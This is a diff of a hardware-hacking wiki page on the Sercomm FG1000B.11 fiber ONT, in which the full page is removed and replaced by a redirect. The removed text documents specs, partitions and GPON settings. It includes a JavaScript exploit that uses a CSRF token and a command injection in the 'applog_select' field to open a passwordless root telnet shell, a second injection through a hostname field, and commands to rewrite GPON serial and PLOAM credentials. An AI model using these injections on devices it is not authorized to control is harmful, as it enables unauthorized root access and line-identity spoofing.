|
1 | | ---- |
2 | | -title: Sercomm FG1000B.11 |
3 | | -has_children: false |
4 | | -layout: default |
5 | | -parent: Sercomm |
6 | | ---- |
7 | | - |
8 | | -# Hardware Specifications |
9 | | - |
10 | | -| | | |
11 | | -| --------------- | ---------------------- | |
12 | | -| Vendor/Brand | Sercomm | |
13 | | -| Model | FG1000B.11 | |
14 | | -| ODM | ✅ | |
15 | | -| Chipset | BCM68360_B1 | |
16 | | -| Flash | NAND 128 MB | |
17 | | -| RAM | 256 MB | |
18 | | -| CPU | Broadcom B53 Dual Core | |
19 | | -| CPU Clock | 1500MHz | |
20 | | -| Bootloader | CFE | |
21 | | -| Load addr | 0x80000 | |
22 | | -| 2.5GBaseT | Yes | |
23 | | -| PHY Ethernet | RTL8221B | |
24 | | -| Optics | LC/APC | |
25 | | -| IP address | 192.168.100.1/24 | |
26 | | -| Web Gui | ✅, no login needed | |
27 | | -| SSH | No | |
28 | | -| Telnet | No | |
29 | | -| Serial | ✅, only TX | |
30 | | -| Serial baud | 115200 | |
31 | | -| Serial encoding | 8-N-1 | |
32 | | -| Form Factor | ONT | |
33 | | - |
34 | | - |
35 | | -{% include image.html file="fg1000b-11_rear.jpg" alt="Sercomm FG1000B.11" caption="Sercomm FG1000B.11 rear" %} |
36 | | -{% include image.html file="fg1000b-11_bottom.jpg" alt="Sercomm FG1000B.11 bottom" caption="Sercomm FG1000B.11 bottom" %} |
37 | | -{% include image.html file="fg1000b-11_side1.jpg" alt="Sercomm FG1000B.11 side 1" caption="Sercomm FG1000B.11 side 1" %} |
38 | | -{% include image.html file="fg1000b-11_side2.jpg" alt="Sercomm FG1000B.11 side 2" caption="Sercomm FG1000B.11 side 2" %} |
39 | | - |
40 | | -## Serial |
41 | | - |
42 | | -See side2 picture for pin identification, use 112500 8-N-1 |
43 | | -The ONT seems to only display output of the ROM CFE and flash CFE, but doesn't seem to allow interrupting the boot. |
44 | | - |
45 | | -{% include serial_dump.html file="fg1000b-11_boot_cfe.txt" alt="Sercomm FG1000B.11 CFE boot dump" title="Sercomm FG1000B.11 CFE boot dump" %} |
46 | | - |
47 | | -## Root procedure |
48 | | -[See the enable telnet/ssh section](/ont-sercomm-fg1000b-11/#enable-telnetsshserial) |
49 | | - |
50 | | -## List of software versions |
51 | | - |
52 | | -| Firmware version | Firmware date | |
53 | | -| ---------------- | ------------- | |
54 | | -| 090144.1.0.001 | ? | |
55 | | -| 090144.1.0.006 | ? | |
56 | | -| 090144.1.0.009 | 23.05.25 | |
57 | | - |
58 | | - |
59 | | -## List of partitions |
60 | | -`cat /proc/mtd` |
61 | | - |
62 | | -| dev: | size | erasesize | name | |
63 | | -| ------ | -------- | --------- | -------------------- | |
64 | | -| mtd0: | 00200000 | 00020000 | "CfeROM | |
65 | | -| mtd1: | 00400000 | 00020000 | "CfeRAM1 | |
66 | | -| mtd2: | 00400000 | 00020000 | "CfeRAM2 | |
67 | | -| mtd3: | 000a0000 | 00020000 | "FlashMAP | |
68 | | -| mtd4: | 000a0000 | 00020000 | "SN | |
69 | | -| mtd5: | 00140000 | 00020000 | "Protect | |
70 | | -| mtd6: | 01b80000 | 00020000 | "Rootfs1 | |
71 | | -| mtd7: | 00c80000 | 00020000 | "Lib1 | |
72 | | -| mtd8: | 01b80000 | 00020000 | "Rootfs2 | |
73 | | -| mtd9: | 00c80000 | 00020000 | "Lib2 | |
74 | | -| mtd10: | 000a0000 | 00020000 | "Bootflg | |
75 | | -| mtd11: | 000a0000 | 00020000 | "Rootfs1_Info | |
76 | | -| mtd12: | 000a0000 | 00020000 | "Lib1_Info | |
77 | | -| mtd13: | 000a0000 | 00020000 | "Rootfs2_Info | |
78 | | -| mtd14: | 000a0000 | 00020000 | "Lib2_Info | |
79 | | -| mtd15: | 00280000 | 00020000 | "XMLConfig | |
80 | | -| mtd16: | 00280000 | 00020000 | "Erasable_XML_CFG | |
81 | | -| mtd17: | 00960000 | 00020000 | "AppData | |
82 | | -| mtd18: | 00140000 | 00020000 | "Yaffs | |
83 | | -| mtd19: | 010c0000 | 00020000 | "Reserve | |
84 | | -| mtd20: | 00930000 | 0001f000 | "rootfs_ubifs | |
85 | | -| mtd21: | 0029bf98 | 0001f000 | "filestruct_full.bin | |
86 | | -| mtd22: | 003bd000 | 0001f000 | "lib_squashfs | |
87 | | - |
88 | | -# Useful files and binaries |
89 | | - |
90 | | -{% include alert.html content="NAND MTD5 mounted as `/tmp/var_link_dir/ft` contains all serial numbers and the MAC address of the ONT, please consider backing it up before performing any hack, files are: `customer_sn,gpon_sn,hw_version,mac_addr,pcba_sn`" alert="Warning" icon="svg-warning" color="red" %} |
91 | | - |
92 | | -{% include alert.html content="Calling the `board_init` binary directly or indirectly (via init script) when the board is already booted will cause NAND mtd 5, 15, 16 & 17 to be erased! |
93 | | -Please back them up before any hacking! Recovery is possible if you hardware reset the device, enable the telnet and recreate the `customer_sn, gpon_sn, hw_version, mac_addr, pcba_sn` file on the `/tmp/var_link_dir/ft` volume which can be remounted as R/W `mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft`." alert="Warning" icon="svg-warning" color="red" %} |
94 | | - |
95 | | -## Useful files |
96 | | -* `/etc/framework_init.sh` - is the main entry for the launch of the Sercomm framework by `/etc/rcS` |
97 | | - |
98 | | -## Useful binaries |
99 | | -* `pb_ap` - monitors the `reset button`. If the button is pushed for longer than 10s it resets the ONT to factory default, otherwise it only reboots the device - Run at startup - no args |
100 | | - |
101 | | -* `fw_image_ctl` - allows firmware upgrade, switch between `fw0` & `fw1`,reading firmware info, replicating between fw, deactivating image etc... - Options listed when called with no args |
102 | | - |
103 | | -* `cmld_client`- manipulates the configuration 'DB' stored in /dev/mtd15, its output is in the XML format. The root element is "InternetGatewayDevice". A final '.' dot is needed to list all sub-elements. Example to get the device's full XML config ```cmld_client get_node InternetGatewayDevice.```. Listed elements with `writable="1"` can be changed with `set` and the node path. Elements marked as `dynamic="1"` have their value evaluated at the time you specifically call get on that specific node, `cmld_client get InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.Status` - The daemon is run at startup - options listed when called with no args |
104 | | - |
105 | | -* `cmd_agent` - strange daemon launched at startup during `/etc/rcS` that opens a `/tmp/cmd_client` sock file that listens to commands and executes them. - No args |
106 | | - |
107 | | -* `statd` - daemon launched at boot which collects monitoring data from the ONT. - No args |
108 | | - |
109 | | -* `ubusd` - ubusd is used to send message between processes, current ubus services are `cml,network-manager,smd` |
110 | | - |
111 | | -* `smd` - daemon in charge of launching the `/opt/` plugin for each of the ONT's service like: `init, gpon, iptv, temperature, account, http, lan, network, syslog, system`. All is done in code which does not help hacking the device. |
112 | | - |
113 | | -# Usage |
114 | | - |
115 | | -## Enabling telnet/SSH/serial |
116 | | - |
117 | | -The code below can be pasted in the browser's console after opening `http://192.168.100.1` (default ONT's web UI). This will enable telnet as root with no password on the device (same can be done with `/usr/sbin/sshd` binary). The below hack uses an injection on the `eventlog_applog_download.json` page, the commands can be injected in the request body's `applog_select` parameter and they are executed as superadmin (root). |
118 | | -```javascript |
119 | | -// Fetch a non csrf protected page to get a csrf token |
120 | | -await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) { |
121 | | - return response.text(); |
122 | | -}).then(function (html) { |
123 | | - //inject the html response into a HTML DOM to parse it |
124 | | - var el = document.createElement( 'html' ); |
125 | | - el.innerHTML = html; |
126 | | - //The token is inserted into the first <script> tag of the page |
127 | | - var es = el.getElementsByTagName( 'script' ); |
128 | | - var aText = es[0].text; |
129 | | - //Add the csrf token in the document for other requests |
130 | | - document.csrf_token = aText.match("'(.*)'")[1]; |
131 | | -}).catch(function (err) { |
132 | | - console.warn('Something went wrong.', err); |
133 | | -}); |
134 | | - |
135 | | -//use the csrf token to activate telnet with no login and a shell |
136 | | - |
137 | | -fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, { |
138 | | - method: 'POST', |
139 | | - headers: { |
140 | | - 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' |
141 | | - }, |
142 | | - body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin' |
143 | | -}) |
144 | | -.then(res => res.json()) |
145 | | -.then(console.log) |
146 | | -``` |
147 | | - |
148 | | -There is a way to make a script call at boot to ensure telnet or other services start at boot if needed. It uses a hack from libsl_system.so where there is a `system(...)` call using a String from config, string must be <=12 char. The system call is supposed to set set hostname of the device for storage sharing. |
149 | | -In the example below, a `/data/up` shell script would be created (ensure it has execute rights, such as: `chmod 755`). |
150 | | -``` |
151 | | -#First we need to add the missing entry |
152 | | -/usr/bin/cmld_client add InternetGatewayDevice.Services.StorageService. 1 |
153 | | -#Then inject within the 12 character limit the hostname and a call to our script |
154 | | -/usr/bin/cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='a;/data/up&' |
155 | | -/usr/bin/cmld_client save |
156 | | -``` |
157 | | - |
158 | | -## Logging configuration |
159 | | -`syslogd` is configured via Config DB config `cmld_client get_node InternetGatewayDevice.X_SC_Management.Syslog.`. This config is read from the libsl_syslog.so plugin of smd daemon, which generates the `/tmp/lxxd/logd.conf` file and starts the daemon with it as parameter. |
160 | | - |
161 | | -# GPON ONU status |
162 | | - |
163 | | -## Getting the operational status of the ONU |
164 | | -``` |
165 | | -/bin/gponctl getState |
166 | | -``` |
167 | | - |
168 | | -## Getting OLT vendor information |
169 | | -``` |
170 | | -/usr/sbin/umci_ctl stack get olt_type |
171 | | -``` |
172 | | -or |
173 | | -``` |
174 | | -/usr/sbin/umci_ctl rg help |
175 | | -``` |
176 | | - |
177 | | -## Querying a particular OMCI ME |
178 | | -``` |
179 | | -/usr/sbin/umci_ctl mib |
180 | | -``` |
181 | | - |
182 | | -## Getting/Setting Speed LAN Mode |
183 | | - |
184 | | -This has been tested on the Telekom Germany Model of the FG1000B.11 and has brought the desired success of increasing |
185 | | -the pre-configured ethernet port speed (1G) to auto-negotiated 2.5G. This does not survive a reboot though. |
186 | | - |
187 | | -``` |
188 | | -/bin/ethctl eth0 media-type auto |
189 | | -``` |
190 | | - |
191 | | -# GPON/OMCI settings |
192 | | - |
193 | | -Part of GPON config is done via the misc configuration loaded as first lib by the smd binary, the config can be seen here: |
194 | | -``` |
195 | | -/usr/bin/cmld_client get_node InternetGatewayDevice.X_SC_MiscCfg.GPON. |
196 | | -``` |
197 | | -Be aware the fields `OmciManageUniMask`, `PretendFwVersion` are initiated in the binary with respective value `01000000`, `0`. |
198 | | - |
199 | | -## Getting/Setting ONU GPON Serial Number |
200 | | -Default value: 16 hex chars on the back of the ONT, starts with `53434F4DA`. The default S/N is the Modem-ID on the sticker. |
201 | | -You can test serial and/or ploam combinations using the command provided below. The password is Hex only and can be up to 36 characters long. |
202 | | -``` |
203 | | -/bin/gponctl stop |
204 | | -/bin/gponctl setSnPwd --pwd 00-00-0X-XX-XX-XX-XX-XX-XX-XX --sn YY-YY-YY-YY-YY-YY-YY-YY |
205 | | -/bin/gponctl start |
206 | | -``` |
207 | | - |
208 | | -You can monitor status by running: |
209 | | -``` |
210 | | -/bin/gponctl getstate |
211 | | -``` |
212 | | - |
213 | | -To save the serial number you need to re-mount `/tmp/var_link_dir/ft` as R/W and change the `gpon_sn` file (consider backing up of the folder before ANY action) |
214 | | -``` |
215 | | -/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft |
216 | | -echo "XXXXXXXXXXXXX" > /tmp/var_link_dir/ft/gpon_sn |
217 | | -/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft |
218 | | -/sbin/reboot |
219 | | -``` |
220 | | - |
221 | | -## Getting/Setting ONU GPON PLOAM password |
222 | | - |
223 | | -The PLOAM password can be set directly as text or hex (without `0x`) via the Web interface if shorter than 10 digits, otherwise a POST call to the URL provided below allows passwords longer than 10 digits (max is 36 characters). |
224 | | -For example a 20-digit long hex password can be set with these commands: |
225 | | - |
226 | | -``` |
227 | | -curl -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded' \ |
228 | | - -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \ |
229 | | - -d $'ploam_password=00000XXXXXXXXXXXXXXX' \ |
230 | | - $'http://192.168.100.1/ONT/client/data/Router.json' |
231 | | -``` |
232 | | - |
233 | | -Or via the CLI with: |
234 | | -``` |
235 | | -/usr/bin/cmld_client set InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.X_SC_Password=00000XXXXXXXXXXXXXXX |
236 | | -/usr/bin/cmld_client save |
237 | | -``` |
238 | | - |
239 | | -## Getting/Setting ONU GPON LOID and LOID password |
240 | | -{% include alert.html content="Not tested but seems to be used by the misc config at smd init" alert="Warning" icon="svg-warning" color="red" %} |
241 | | - |
242 | | -``` |
243 | | -/usr/bin/cmld_client set InternetGatewayDevice.X_SC_MiscCfg.GPON.LoIdPassword= |
244 | | -
|
245 | | -/usr/bin/cmld_client set InternetGatewayDevice.X_SC_MiscCfg.GPON.LoId= |
246 | | -``` |
247 | | - |
248 | | -## Getting/Setting OMCI software version (ME 7) |
249 | | -{% include alert.html content="`get` works, `set` is not tested but seems to be used by the misc config at smd init" alert="Warning" icon="svg-warning" color="red" %} |
250 | | - |
251 | | -``` |
252 | | -/usr/bin/cmld_client get InternetGatewayDevice.X_SC_MiscCfg.GPON.OmciVersion |
253 | | -``` |
254 | | -or via umci_ctl get/set tool (if the config overwrite OMCI or the other way around has not been tested) |
255 | | -``` |
256 | | -/usr/sbin/umci_ctl mib get 7 |
257 | | -``` |
258 | | - |
259 | | -## Getting/Setting OMCI hardware version (ME 256) |
260 | | -Default value: `Glasfaser.DTV1` |
261 | | -``` |
262 | | -/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft |
263 | | -echo "XXXXXXXXXXXXX" > /tmp/var_link_dir/ft/hw_version |
264 | | -/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft |
265 | | -reboot |
266 | | -``` |
267 | | -## Getting/Setting OMCI vendor ID (ME 256) |
268 | | -Default value: `53434F4D` |
269 | | -{% include alert.html content="The `set` command is available for `Class_id`, `Entity_id`, `Index` and `Value` parameters, but has not been tested." alert="Warning" icon="svg-warning" color="red" %} |
270 | | - |
271 | | -``` |
272 | | -/usr/sbin/umci_ctl mib get 256 |
273 | | -``` |
274 | | - |
275 | | -## Getting/Setting OMCI equipment ID (ME 257) |
276 | | -{% include alert.html content=" The `set` command is available for `Class_id`, `Entity_id`, `Index` and `Value` parameters, but has not been tested." alert="Warning" icon="svg-warning" color="red" %} |
277 | | - |
278 | | -``` |
279 | | -/usr/sbin/umci_ctl mib get 257 |
280 | | -``` |
281 | | - |
282 | | -# Advanced settings |
283 | | - |
284 | | -## Transferring files to the stick |
285 | | -Since neither `netcat`/`nc` nor `ftp`/`sftp`/`ftps` are available, the best option is to use `curl` to download files from a webserver on your network over HTTP only. |
286 | | -Additionaly a full version of `busybox` for ARM can be added in the /data partition and then use `nc` to pipe data in and out of the device. |
287 | | - |
288 | | -## Backup of all partitions |
289 | | -`dd` can be used, as it is available on the device/default busybox to backup the efull nand via `/dev/mtd` |
290 | | - |
291 | | -## Checking the currently active image |
292 | | -``` |
293 | | -/usr/sbin/fw_ctl -s |
294 | | -``` |
295 | | -The output includes a `current running fw` line. |
296 | | - |
297 | | -## Booting to a different image |
298 | | -``` |
299 | | -/usr/sbin/fw_ctl -c X |
300 | | -``` |
301 | | -Where `X` is <0|1|3> and sets commit image; 3 commits current firmware. |
302 | | - |
303 | | -## Cloning of image 0 into image 1 |
304 | | -``` |
305 | | -/usr/sbin/fw_ctl -r XXXX |
306 | | -``` |
307 | | -Where `XXX` is <fw|lib> copy type <fw|lib> from current firmware to backup firmware. |
308 | | - |
309 | | -## Setting management MAC |
310 | | -``` |
311 | | -/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft |
312 | | -echo "A095XXXXXXXX" > /tmp/var_link_dir/ft/mac_addr |
313 | | -/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft |
314 | | -/sbin/reboot |
315 | | -``` |
316 | | -The format is 12 hex digit without any `0x` or `:` |
317 | | - |
318 | | -## Setting management IP |
319 | | -``` |
320 | | -/usr/bin/cmld_client set InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceIPAddress=192.168.100.1 |
321 | | -/usr/bin/cmld_client save |
322 | | -``` |
323 | | - |
324 | | -## Rebooting the ONU |
325 | | -Either via the public WebUi `http://192.168.100.1/ONT/client/html/content/config/problem_handling.html?lang=en`, `Reboot` button or |
326 | | - |
327 | | -``` |
328 | | -/sbin/reboot |
329 | | -``` |
330 | | -# Known Bugs |
331 | | -It seems `cmld_client get` can't return string values longer than 12 characters, even for field types mentioning string length. A walkaround is to use `get_node` on the parent element to get proper value ouput. |
332 | | - |
333 | | -# Miscellaneous Links |
334 | | - |
335 | | -- [FG1000B.11 - lafibre.info](https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/) |
336 | | - |
337 | | -# Other brand names |
338 | | - |
339 | | - - 1&1 Glasfaser Modem |
340 | | - - Telekom Glasfaser Modem 2 |
341 | | - - Vodafone Glasfaser Modem (FG1000B.VF) |
342 | | - |
343 | | -# Credits |
344 | | -This whole documentation here was made possible thanks to the time invested into reverse engineering by @hwti and the rest of the folks from the forum mentioned in the links section of this page. Thanks a lot! |
345 | | - |
| 1 | +--- |
| 2 | +title: Sercomm FG1000B.11s |
| 3 | +has_children: false |
| 4 | +redirect_to: /ont-sercomm-fg1000b |
| 5 | +layout: default |
| 6 | +parent: CIG |
| 7 | +--- |
0 commit comments